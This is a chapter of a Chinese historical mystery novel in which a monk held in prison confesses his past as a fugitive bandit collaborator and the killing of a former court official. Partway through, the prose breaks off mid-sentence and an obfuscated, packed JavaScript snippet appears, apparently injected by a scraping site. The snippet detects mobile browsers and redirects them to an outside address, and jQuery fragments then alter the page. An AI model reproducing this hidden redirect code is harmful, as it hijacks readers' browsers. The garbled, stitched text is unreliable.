“褚山仞,真是好久没有听见别人这么叫我了。”
牢里的慧真站了起来,显得还坐在地上的房玄机,格外的弱小。
陈铎方才拿到通缉令过于激动,都忘了牢里还有一个无辜的房玄机。
等他反应过来,手搭上囚笼的木门时,慧真又坐了回去,不过换了个姿势,手随意地搭在膝盖上。
陈铎咽了咽唾沫,一边握紧横刀戒备地盯着慧真,一边给房玄机使眼色,示意他快些出来。
但房玄机依旧不紧不慢地,甚至看不出有站起来的意图。
这是怎么回事,这个慧真都承认自己是那个在沙洲杀了同僚和家人,还堕落成盗匪的褚山仞了,这个房郎中怎么一点都不害怕?
李心晖替房玄机给陈铎解释:“不管‘慧真’曾经是谁,他现在都无力也无心害人了,所以他才会坦然承认自己是凶手。”
陈铎似乎没听懂,又在嘴里喃喃重复了几遍李心晖的话,才幡然醒悟:“是啊,这个褚山仞既然伪装成‘慧真’躲在慈航寺里,为何又要主动自首,承认自己杀了前太常寺卿呢?”
“是因为被威胁了吧。”
陈铎又惊又疑:“啊?李员外郎,这你又是如何得知的?”
房玄机在牢里问李心晖:“那是被谁威胁的呢?”
李心晖无语道:“你们为何不问当事人,反要问我呢?事情已经到了这个地步,我想慧真应该不会再隐瞒下去了吧。”
两人闻言复又将视线投向慧真。
慧真眯着眼,一副出气多进气少的模样:“李施主真是通透之人,莫非你我初见时,就看穿了贫僧的伪装不成?”
李心晖知道慧真所说的初见是前夜在慈航寺的偏殿,而陈铎则以为是昨日在死者前太常寺卿借宿的禅房外。
“不是,是因为死者脸上的痕迹,我才有所怀疑。”
陈铎今日才拿到尸检的报告,上面记录的死因是被凶手捂住口鼻窒息而死。
“脸上的痕迹是被凶手捂住口鼻时留下的吧,有何可疑的?”
“若是因为有人玷污了你的信仰,你心生杀意,会给那人选择何种死法?”
陈铎被问得生出几分莫名其妙之感:“若是我的话,可能……”
房玄机道:“那要看是何种信仰,比如我信仰的是律法,若是有人玷污它,我定会用律法惩戒他。”
陈铎似有所悟:“对,对啊。慧真当时说是因为死者玷污佛寺,但他却在佛寺里捂死了死者,岂不是与他所说的动机完全相悖了。”
“不仅如此。慧真选择用手直接捂住死者的面部,而不是用布巾、绳子或是其他工具,有很大可能是因为他是临时起意,没有事先准备凶器。或者说他实在太过痛恨死者,借助工具无法宣泄他的愤怒和仇恨。
而这两种原因,都与慧真所说的‘玷污佛寺’的动机以及慈悲的形象不符。”
陈铎点点头,觉得李心晖这个说法确实说得通,但一回味后又想到了疑点。
“那你为何昨日在慈航寺不直接说出来,反而要等到现在呢?”
李心晖扬了扬手里的通缉令道:“因为当时没有证据,我只是猜测,说出来又如何?而且住持和寺里僧人的态度也说明他们其实应该是知道慧真的真实身份的,而他们却选择了替慧真隐瞒,其中必有不为人知的因缘和苦衷吧。”
陈铎颇为摸不着头脑:“住持和僧人?他们竟然知道吗?我怎么没看出来。”
李心晖重复了一遍住持当时的话来提示陈铎:“我和裴少尹当时去询问住持慧真的身份时,住持是这么说的。”
‘哦,是他,他法号慧真。俗名老衲也记不清了,毕竟慧真在慈航寺待的年份比老衲还要多个五六年。’
但陈铎还是没有看出有什么问题,倒是房玄机更敏锐些:“是因为后一句话,关于‘俗名’吧。”
“他作为慈航寺的住持,自然能看到寺内所有僧人的度牒,不存在不知道俗名的可能。即便退一步,住持真的不知,那也不会刻意找一个理由说‘记不清’,直接不提,把度牒交给官差便是,何故要欲盖弥彰,只能是因为心虚。”
陈铎连连点头,一拍手道:“对,对啊,李员外郎说的十分有理!”
慧真听了也笑出了声,但身形却显得更加颓丧,好似一只破了洞的布袋,里面存放了十几年的稻谷已经腐烂变质,从破洞里漏出来的都是臭气和空壳。
“李施主猜对了十之八九吧,住持确实知道贫僧的身份,其他僧人是真的不知的。而那位前太常寺卿,也确实与贫僧有旧,只是贫僧虽拜了十几年的佛,到前日才知,这世上竟然真的存在因果业力,循环报应。”
慧真所说的前日,应该就是在偏殿那晚,慧真出言提醒僧人小心诡物身上可能有毒时,引起了前太常寺卿的注意。或许是声音,或许是外貌,总之两人应该都认出了对方。
“这个韦林武十八年前还是个九品小官,我那时,已经犯下大案,流窜在沙漠中,正巧同他一起被一群盗匪抓住。但是韦林武不愧是读书人,脑子就是好使,他想了个计谋,叫我假意投诚,放那群盗匪进入沙洲城劫掠,以此保全我们二人的性命。”
慧真口中的“韦林武”便是前太常寺卿,韦万石父亲的名讳,李心晖也是现在才知道。
慧真双眼漫上血丝,似乎那些回忆给他带来了无尽的痛苦。
“我当时不想死,真的太不想死了,所以我很害怕,根本来不及细想,就同意了韦林武的提议,告诉了盗匪沙洲城的布防。那晚,我们也一起跟着盗匪进了沙洲城。
我,我看到,看到满街的残肢碎肉,那些睁着眼睛的头颅,她们,她们的眼睛一直,一直,一直!一直都闭不上!
她们都是无辜的呀!
要不是我……我,我后悔了……我是真的,真的真的,非常的后悔,呜呜啊!”
慧真说到最后,像个孩童般捂住眼睛,无助地嚎啕大哭起来。
哭声回荡在安静、阴暗的牢笼里,把那些了无生趣的囚犯们都哭醒了过来。
陈铎倒是不太理解,当年的褚山仞,这个杀害了十几名同僚和刺史的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538873|203354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杀人凶犯,怎么可能会因为引盗匪入城后百姓的惨状而感到悔恨呢?
但如今年迈的慧真,眼睛里的泪水流过每一条皱纹,犹如天神为了惩罚罪人而在其脸上刻下的沟壑,每一根都如此真实。
难道说是因为当年褚山仞犯下的杀人案,另有隐情?
“所以你后悔了,进了佛寺赎罪,而韦林武则一路高升到了神都,直到前日你们才偶然相遇,是这样吗?”
李心晖是三人中唯一一个没有被慧真的眼泪影响的人,不同于陈铎的怀疑纠结、房玄机的同情与憎恨,她好像根本听不到回荡在牢笼中凄厉的哭嚎声一般。
慧真抹去眼泪,抽噎良久后终于回答了李心晖的话。
“不,其实我早就知道韦林武在神都的事,毕竟他可是当了大官。他则是到前日才知道我还活着,甚至就待在神都附近。
所以他找上了我,威胁我,让我帮他做一件事。”
“是什么事?”
慧真在三人真切的注视下,一字一句说:“他想让我,帮他杀掉一个叫作褚红月的人。他说,就是这个褚红月,逼得他必须杀了自己的儿子,只能辞官回乡避祸。只要褚红月死了,他就安全了。”
韦万石真是被他父亲所害!
韦林武居然想杀了褚红月!
褚红月就是尉迟红月。
“褚红月逼韦林武?然后他杀了韦万石再回乡,为什么?为什么非要杀了韦万石才行?”
房玄机怎么想也想不通,这句话实在是没有逻辑,破绽百出。
“我也不知道,我在听到他说,他杀了自己儿子的时候,我就已经控制不住自己,一心只想按死他,按死这个狼心狗肺,全没人性的畜生!”
陈铎的神情也十分不自然,李心晖都不由瞥了他一眼。
“陈县尉,你想到了什么吗?”
陈铎如梦初醒般反应过来,慌张地掩饰着他其实认识褚红月的秘密,甚至可能还知道韦林武杀害韦万石的真正原因。
“没,没什么,我什么也没想到。我也是被吓到了,虎毒尚且不食子,这个韦林武实在是畜生不如。”
“原来如此,我还当陈县尉认识褚红月呢。”
陈铎顿时冷汗直流,嘿嘿假笑了几声掩饰道:“怎么会,褚红月是谁,我怎么可能认识呢?”
李心晖莞尔一笑:“说的也对,是我想多了。”
说完转向慧真继续问:“你杀了韦林武之后,是不是把这件事告诉了住持?”
“是,我跑到大殿里去忏悔,恰好被住持听见了。之后我便把来龙去脉都告诉了他,说完后我就感觉,压在我身上十几年的罪孽都变轻了,我终于能喘得上气了,哈哈……”
果然,怪不得那日的住持,憔悴了许多。
倾诉者得到的生机,不过是把痛苦传递给了被倾诉者,对方主动接过了那些如山的枷锁罢了。
陈铎也问出了他方才怀疑的问题:“褚山仞,你当初为何要杀害你的同僚,甚至还残忍杀害了沙洲刺史,难道也是有人逼你干的吗?”